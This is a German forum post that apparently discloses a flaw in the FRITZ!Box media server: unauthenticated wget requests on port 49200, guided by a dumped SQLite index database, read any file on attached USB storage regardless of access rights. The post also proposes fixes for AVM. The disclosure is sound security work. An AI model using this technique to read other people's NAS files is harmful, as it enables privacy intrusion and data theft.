CREATE TABLE statistic (id integer primary key default 0, dbversion varchar(10), partition_audio_count integer default 0, partition_video_count integer default 0, partition_image_count integer default 0, partition_other_count integer default 0, partition_doc_count integer default 0, partition_total_file_count integer default 0);
CREATE TABLE audio (id integer primary key autoincrement not null, album varchar(1024) default null, genre varchar(1024) default null, artist varchar(1024) default null, parentpath varchar(4096) not null, title varchar(1024) not null, band varchar(1024) default null, interpret varchar(1024) default null, publisher varchar(1024) default null, composer varchar(1024) default null, comment varchar(1024) default null, number integer default 0, recdate Date, duration varchar(10) default null, albumart integer default 0, size integer not null, playcount integer default 0, ext varchar(10) not null, playtime integer default 0, audiobitratemode integer default 0, protection integer default 0, audionrchannels integer default 0, audioavgbitrate integer default 0, audiocodecbitrate integer default 0, audiobitspersample integer default 0, audiosamplefrequency integer default 0, audiocodecinfo varchar(40) default null, mdate Date not null, filename varchar(10) not null collate nocase, updatedate Date default null, partition_type integer default 0);
CREATE TABLE video (id integer primary key autoincrement not null, album varchar(1024) default null, genre varchar(1024) default null, artist varchar(1024) default null, parentpath varchar(4096) not null, title varchar(1024) not null, band varchar(1024) default null, interpret varchar(1024) default null, publisher varchar(1024) default null, composer varchar(1024) default null, comment varchar(1024) default null, number integer default 0, recdate Date, duration varchar(10) default null, size integer not null, playcount integer default 0, ext varchar(10) not null, playtime integer default 0, bitratemode integer default 0, protection integer default 0, audionrchannels integer default 0, avgbitrate integer default 0, audiocodecbitrate integer default 0, audiobitspersample integer default 0, audiosamplefrequency integer default 0, audiocodecinfo varchar(40) default null, width integer default 0, height integer default 0, videocolordepth integer default 0, videoframerate integer default 0, videocodecbitrate integer default 0, videocodecinfo varchar(40) default null, mdate Date not null, filename varchar(10) not null collate nocase, updatedate Date default null, partition_type integer default 0);
CREATE TABLE doc (id integer primary key autoincrement not null, parentpath varchar(4096) not null, size integer not null, ext varchar(10) not null, mdate Date not null, filename varchar(10) not null collate nocase, updatedate Date default null, partition_type integer default 0);
CREATE TABLE image (id integer primary key autoincrement not null, parentpath varchar(4096) not null, size integer not null, ext varchar(10) not null, title varchar(1024) not null, comment varchar(1024) default null, description varchar(1024) default null, publisher varchar(1024) default null, subject varchar(1024) default null, recdate Date, width integer default 0, height integer default 0, thumbnail integer default 0, mdate Date not null, filename varchar(10) not null collate nocase, updatedate Date default null, partition_type integer default 0);
[COLOR="#FF0000"]CREATE TABLE other (id integer primary key autoincrement not null, parentpath varchar(4096) not null, size integer not null, ext varchar(10), mdate Date not null, filename varchar(10) not null, updatedate Date default null, partition_type integer default 0);
[/COLOR]CREATE TABLE directory (id integer primary key autoincrement not null, parentpath varchar(4096) not null, watchid integer, mdate Date not null, filename varchar(10) not null, updatedate Date default null, partition_type integer default 0);
CREATE TABLE playlist (id integer primary key autoincrement not null, parentpath varchar(4096) not null, title varchar(10) not null, matched_count integer default null, size integer not null, ext varchar(10) not null, mdate Date not null, filename varchar(10) not null, updatedate Date default null, partition_type integer default 0);
CREATE TABLE playlistitems (playlist_id integer not null, audio_id integer not null);
CREATE TABLE upnp_container (id integer primary key autoincrement, parent_id integer, meta_ref_artist varchar(10) default 0, meta_ref_genre varchar(10) default 0,meta_ref_playlist_id integer default 0, title varchar(10) default 0, type integer not null, class varchar(10) not null, updatenr integer default 0, childcount integer default 0, list_order integer default 0, part_ident integer not null);
CREATE TABLE upnp_audio_container (id integer primary key, cont_id_music_dir integer default 0, cont_id_music_album integer default 0, cont_id_music_artist_all integer default 0, cont_id_music_artist_album integer default 0, cont_id_music_genre_all integer default 0, cont_id_music_genre_artist integer default 0, cont_id_music_titles integer default 0, cont_id_webradio integer default 0, cont_id_podcasts integer default 0);
CREATE TABLE upnp_image_container (id integer primary key, cont_id_image_dir integer default 0, cont_id_image_titles integer default 0);
CREATE TABLE upnp_video_container (id integer primary key, cont_id_video_dir integer default 0, cont_id_video_titles integer default 0);
CREATE INDEX image_filename ON image(filename);
CREATE INDEX audio_filename ON audio(filename);
CREATE INDEX video_filename ON video(filename);
CREATE INDEX doc_filename ON doc(filename);
CREATE INDEX upnp_audio_container_cont_id_music_album ON upnp_audio_container(cont_id_music_album);
CREATE INDEX upnp_audio_container_cont_id_music_dir ON upnp_audio_container(cont_id_music_dir);
CREATE INDEX upnp_audio_container_cont_id_music_titles ON upnp_audio_container(cont_id_music_titles);
CREATE INDEX upnp_container_parent_id ON upnp_container(parent_id);
CREATE INDEX upnp_container_typetitle ON upnp_container(type, title);
CREATE INDEX upnp_container_parent_idtitle ON upnp_container(parent_id, title);
CREATE INDEX upnp_container_parent_idtitletype ON upnp_container(parent_id, title, type);
CREATE INDEX upnp_container_parent_idtype ON upnp_container(parent_id, type);
CREATE INDEX image_parentpath ON image(parentpath);
CREATE INDEX audio_parentpath ON audio(parentpath);
CREATE INDEX video_parentpath ON video(parentpath);
CREATE INDEX doc_parentpath ON doc(parentpath);
CREATE INDEX directory_parentpath ON directory(parentpath);
CREATE INDEX other_parentpath ON other(parentpath);
CREATE TRIGGER insert_video AFTER INSERT ON video BEGIN UPDATE statistic SET partition_video_count = partition_video_count +1 where id = 1;UPDATE statistic SET partition_total_file_count = partition_total_file_count +1 where id = 1;END;
CREATE TRIGGER delete_video AFTER DELETE ON video BEGIN UPDATE statistic SET partition_video_count = partition_video_count -1 where id = 1; UPDATE statistic SET partition_total_file_count = partition_total_file_count -1 where id = 1; END;
CREATE TRIGGER insert_image AFTER INSERT ON image BEGIN UPDATE statistic SET partition_image_count = partition_image_count +1 where id = 1;UPDATE statistic SET partition_total_file_count = partition_total_file_count +1 where id = 1;END;
CREATE TRIGGER delete_image AFTER DELETE ON image BEGIN UPDATE statistic SET partition_image_count = partition_image_count -1 where id = 1; UPDATE statistic SET partition_total_file_count = partition_total_file_count -1 where id = 1; END;
CREATE TRIGGER insert_other AFTER INSERT ON other BEGIN UPDATE statistic SET partition_other_count = partition_other_count +1 where id = 1;UPDATE statistic SET partition_total_file_count = partition_total_file_count +1 where id = 1;END;
CREATE TRIGGER delete_other AFTER DELETE ON other BEGIN UPDATE statistic SET partition_other_count = partition_other_count -1 where id = 1; UPDATE statistic SET partition_total_file_count = partition_total_file_count -1 where id = 1; END;
CREATE TRIGGER insert_doc AFTER INSERT ON doc BEGIN UPDATE statistic SET partition_doc_count = partition_doc_count +1 where id = 1;UPDATE statistic SET partition_total_file_count = partition_total_file_count +1 where id = 1;END;
CREATE TRIGGER delete_doc AFTER DELETE ON doc BEGIN UPDATE statistic SET partition_doc_count = partition_doc_count -1 where id = 1; UPDATE statistic SET partition_total_file_count = partition_total_file_count -1 where id = 1; END;
CREATE INDEX audio_titlecollatenocase ON audio(title collate nocase);
CREATE INDEX video_titlecollatenocase ON video(title collate nocase);
CREATE INDEX image_titlecollatenocase ON image(title collate nocase);
CREATE TRIGGER insert_audio AFTER INSERT ON audio BEGIN UPDATE statistic SET partition_audio_count = partition_audio_count +1 where id = 1;UPDATE statistic SET partition_total_file_count = partition_total_file_count +1 where id = 1;END;
CREATE TRIGGER delete_audio AFTER DELETE ON audio BEGIN UPDATE statistic SET partition_audio_count = partition_audio_count -1 where id = 1; UPDATE statistic SET partition_total_file_count = partition_total_file_count -1 where id = 1; END;Lassen wir uns einfach mal die ein paar Datensätze ausgeben aus der Datenbank für den USB-Stick mit dem Label "pentest" (die Ergebnisse habe ich "ausgedünnt"):
Code:
#[COLOR="#0000FF"][B] sqlite3 -header -list nas_pentest.db3 'SELECT * FROM other;'[/B][/COLOR]
id|parentpath|size|ext|mdate|filename|updatedate|partition_type
14|/var/media/ftp/pentest|68608|tar|2016-10-17 21:08:53|autoupdate.tar|2000-01-01 03:47:59|4
21|/var/media/ftp/pentest|6656|tar|2016-09-19 17:04:10|enable_dvb_c.tar|2000-01-01 03:47:59|4
33|/var/media/ftp/pentest/modfs|99053||2016-10-25 11:19:32|modfs|2016-11-07 19:08:33|4
38|/var/media/ftp/pentest/modfs/modscripts|4976||2016-07-29 16:10:07|mod_leddisplay|2016-11-07 19:08:33|4
46|/var/media/ftp/pentest/modfs/modscripts|3197||2016-07-29 16:10:27|mod_show_name|2016-11-07 19:08:33|4
50|/var/media/ftp/pentest/modfs/modscripts|19208|2|2016-02-18 19:17:00|gui_boot_manager_v0.3|2016-11-07 19:08:33|4
54|/var/media/ftp/pentest/modfs/bin/scripts|28792||2016-10-17 20:59:59|check_signed_image|2016-11-07 19:08:33|4
55|/var/media/ftp/pentest/modfs/bin/scripts|17911||2016-10-17 21:14:44|check_update|2016-11-07 19:08:33|4
56|/var/media/ftp/pentest/modfs/bin/scripts|3616||2016-10-17 16:01:11|yf_helpers|2016-11-07 19:08:33|4
57|/var/media/ftp/pentest/modfs/bin/scripts|172||2016-10-17 15:58:05|wrap_script|2016-11-07 19:08:33|4
58|/var/media/ftp/pentest/modfs/bin/scripts/functions|1578|function|2016-10-17 15:58:05|yf_network_interfaces.function|2016-11-07 19:08:33|4
95|/var/media/ftp/pentest/modfs/bin/scripts/functions|1768|function|2016-10-18 16:08:08|yf_uppercase.function|2016-11-07 19:08:33|4
96|/var/media/ftp/pentest/modfs/bin/scripts|3653||2016-10-18 03:47:52|check_image_signature|2016-11-07 19:08:33|4
107|/var/media/ftp/pentest/modfs/locale|13194||2016-09-25 16:05:08|de|2016-11-07 19:08:33|4
108|/var/media/ftp/pentest/modfs/locale|11147||2016-09-25 16:03:57|en|2016-11-07 19:08:33|4
110|/var/media/ftp/pentest/modfs|18092||2016-02-13 10:30:05|LICENSE|2016-11-07 19:08:33|4
112|/var/media/ftp/pentest/modfs|10745|ger|2016-04-26 17:18:02|BOOTSELECTION.ger|2016-11-07 19:08:33|4
114|/var/media/ftp/pentest|694||2016-10-26 16:17:39|replace_binary|2000-01-01 03:47:59|4
117|/var/media/ftp/pentest|157041664|tar|2016-10-23 17:40:30|firmware.tar|2000-01-01 03:47:59|4
120|/var/media/ftp/pentest|2513|sh|2016-10-30 00:14:20|save_system.sh|2000-01-01 03:47:59|4
128|/var/media/ftp/pentest|359||2016-11-01 04:29:38|switch_system|2000-01-01 03:47:59|4
Code:
# [COLOR="#0000FF"][B]for table in audio video image doc other; do sqlite3 nas_pentest.db3 "SELECT parentpath||'/'||filename FROM $table;"; done | sort >filenames.lst[/B][/COLOR]
Code:
# [COLOR="#0000FF"][B]find /var/media/ftp/pentest/ -type f | wc -l[/B][/COLOR]
133
# [COLOR="#0000FF"][B]for table in audio video image doc other; do sqlite3 nas_pentest.db3 "SELECT parentpath||'/'||filename FROM $table;"; done | wc -l[/B][/COLOR]
133Jedenfalls lassen sich jetzt diese Dateien alle der Reihe nach über eine passende URL von der FRITZ!Box laden ... und das (man ahnt es fast) immer noch ohne jede Anmeldung.
Exemplarisch mal eine einzelne:
Code:
# [COLOR="#0000FF"]wget -q -O - http://192.168.178.254:49200/pentest/switch_system[/COLOR]
[COLOR="#008000"]#! /bin/sh
current=$(sed -n -e "s/^linux_fs_start\t\([01]\)$/\1/p" /proc/sys/urlader/environment)
if [ ${#current} -eq 1 ]; then
new=$(( ( $current + 1 ) % 2 ))
echo "linux_fs_start $new" >/proc/sys/urlader/environment
echo "system switched - new value is: linux_fs_start $new" 1>&2
exit 0
else
echo "unable to read linux_fs_start value" 1>&2
exit 1
fi[/COLOR]Die "Vertraulichkeit" des Inhalts dort liegender Dateien darf man jedenfalls nicht dieser Rechtevergabe anvertrauen, zumindest dann nicht, wenn gleichzeitig ein Zugriff auf so einen Datenträger über den Mediaserver der FRITZ!Box möglich ist - und das ist erwiesenermaßen die Standardeinstellung einer FRITZ!Box 6490 und vermutlich auch noch der 7490-Laborversion, es sei denn, AVM hat es doch noch geändert in diesem Zweig.
-Zwar gelingen diese Zugriffe tatsächlich nur aus dem (W)LAN ... aber ich bin mir ziemlich sicher, daß sich lange nicht jeder FRITZ!Box-Besitzer der Tatsache bewußt war (und ist), daß in der Standardeinstellung (Mediaserver läuft mit "keine Einschränkungen") wirklich jeder USB-Speicher an der FRITZ!Box bis zur letzten Datei ausgelesen werden kann, selbst wenn man sich als Besitzer redlich darum bemüht hat, die Zugriffsrechte der Benutzer per FTP, Samba und GUI ordentlich zu regeln. Allerdings kann man über den Mediaserver nichts schreiben ... das ist zumindest mal ein kleiner Pluspunkt.
Was könnte AVM hier besser machen? Ich sage mal, so einiges ... das geht bereits damit los, daß man den Zugriff auf die Index-Datenbanken über jeden Weg des Zugriffs auf den NAS-Speicher blockieren sollte, das gilt eigentlich auch für die BPjM-Sperrliste, denn auch die stellt das System in einem dieser "FRITZ"-Ordner bereit und den Namen braucht man nicht raten.
Ohne diese Index-Datenbanken fällt schon mal ein wichtiger Punkt weg, denn ohne Kenntnis der genauen URL kann ein Angreifer nur raten bzw. probieren, welche Dateien dort erreichbar wären.
Der nächste Schritt wäre das Verstecken der tatsächlichen Verzeichnisstruktur im Inhaltsverzeichnis des Mediaservers ... an die Stelle des kompletten Pfades in einer URL für den Download könnte problemlos eine GUID (das ist eine eindeutige ID - globally unique) treten und dann braucht es eben ein passendes Mapping von dieser GUID (das kann eine SQLite3-DB auch gleich verwalten) auf den tatsächlichen Dateinamen.
Das macht dann das Raten praktisch unmöglich und wenn sich dann - als dritte Maßnahme - der Webserver für den Download auch noch daran orientiert, ob eine angeforderte Datei im Katalog des Mediaservers überhaupt veröffentlicht ist, dann ist (a) automatisch der Download der Index-DB blockiert und wenn man (b) nur für solche Dateien überhaupt eine GUID generiert, die auch abgerufen werden dürfen, dann gibt es für die ganzen Dateien in "other" gar keine "Adresse", mit der man da zugreifen könnte.
Diese drei Vorschläge überlappen sich zwar teilweise in ihren Effekten ... aber fällt dann mal eine dieser Maßnahmen aus (meinetwegen läßt sich der Webserver für den Dateidownload irgendwie austricksen), dann stehen die anderen Hindernisse trotzdem noch im Weg als weitere "line of defense". Wie wichtig mehrere solcher Verteidigungslinien nacheinander sein können, ist auch wieder eine Binsenweisheit.
Das Blockieren des Zugriffs auf die Index-Dateien ist sicherlich am leichtesten ... die ganzen NAS-Zugriffe prüfen ohnehin schon recht genau, daß da nicht außerhalb der gültigen Verzeichnisse zugegriffen werden kann, da ist die zusätzliche Prüfung, daß auf "FRITZ" nicht zugegriffen werden darf, eigentlich nur noch eine Formalie (die Quellen für diesen Teil der Firmware sind veröffentlicht im OpenSource-Paket).
Die dritte Maßnahme wäre fast schon als Abfallprodukt verfügbar, wenn man die zweite umsetzt ... die versteckt erstens die realen Verzeichnisstrukturen und wenn dann eine Datei ohne GUID gar nicht geladen werden kann, dann ist die "Entscheidung" für den Webserver (auf Port 49200) praktisch nicht mehr nötig, denn dann kriegen einfach nur die Media-Dateien eine solche GUID zugewiesen.
-Aber ist es nicht eigentlich halb so wild, wenn man da alle USB-Speicher auslesen kann?
Das muß am Ende jeder selbst wissen ... immerhin steht dieser Zugriff derzeit jedem beliebigen Gerät im Heimnetz offen (und zwar ... da kommt Ihr nie drauf ... ohne jede Authentifizierung
) und wenn mit dem IoT in der Zukunft immer mehr Geräte hinzukommen, dann kommen garantiert auch weitere "Lücken" in diesen Geräten auf. Wenn heute irgendeine Überwachungskamera für große DDoS-Angriffe rekrutiert werden kann, dann geht das morgen für den Kühlschrank und andere "weiße Ware" - bei anderen "Gadgets" ist das heute schon die Realität. Wenn der FireTV-Stick in aller Stille noch die Inhaltsverzeichnisse des NAS der FRITZ!Box einsammelt und an irgendeine "Sammelstelle" übermittelt, dann kann man sich als Angreifer auch nur noch gezielt die Dateien zusenden lassen, die man für "lesenswert" hält (und auch diese Auswahl kann noch eine Heuristik übernehmen).Wer hingegen hingeht und sich z.B. OwnCloud auf seiner FRITZ!Box installiert und die Daten auf einem USB-Volume ablegt, der macht das vermutlich auch mit dem Gedanken im Hinterkopf, daß dann seine Daten auf der eigenen FRITZ!Box etwas sicherer vor dem Ausspähen sind ... läuft parallel noch der AVM-Mediaserver auf der Box mit (selbst ich kenne nicht so viele Leute, die den extra abschalten - wer würde denn auch schon erwarten, daß so ein Dienst standardmäßig aktiviert wird), sind die Daten vermutlich bei einem Cloud-Anbieter sogar noch sicherer vor allzu neugierigen Blicken (da lesen dann nur noch irgendwelche Dienste ständig mit).
Zumindest könnte dann AVM bei aktivierten Mediaserver für das freigegebene (oder eben alle, je nach Einstellungen) Volume(s) ehrlicherweise die Möglichkeit der Vergabe von "Leserechten" gleich deaktivieren - das ist ein reines Placebo (noch mal: unter den geschilderten Rahmenbedingungen).
Zuletzt bearbeitet:
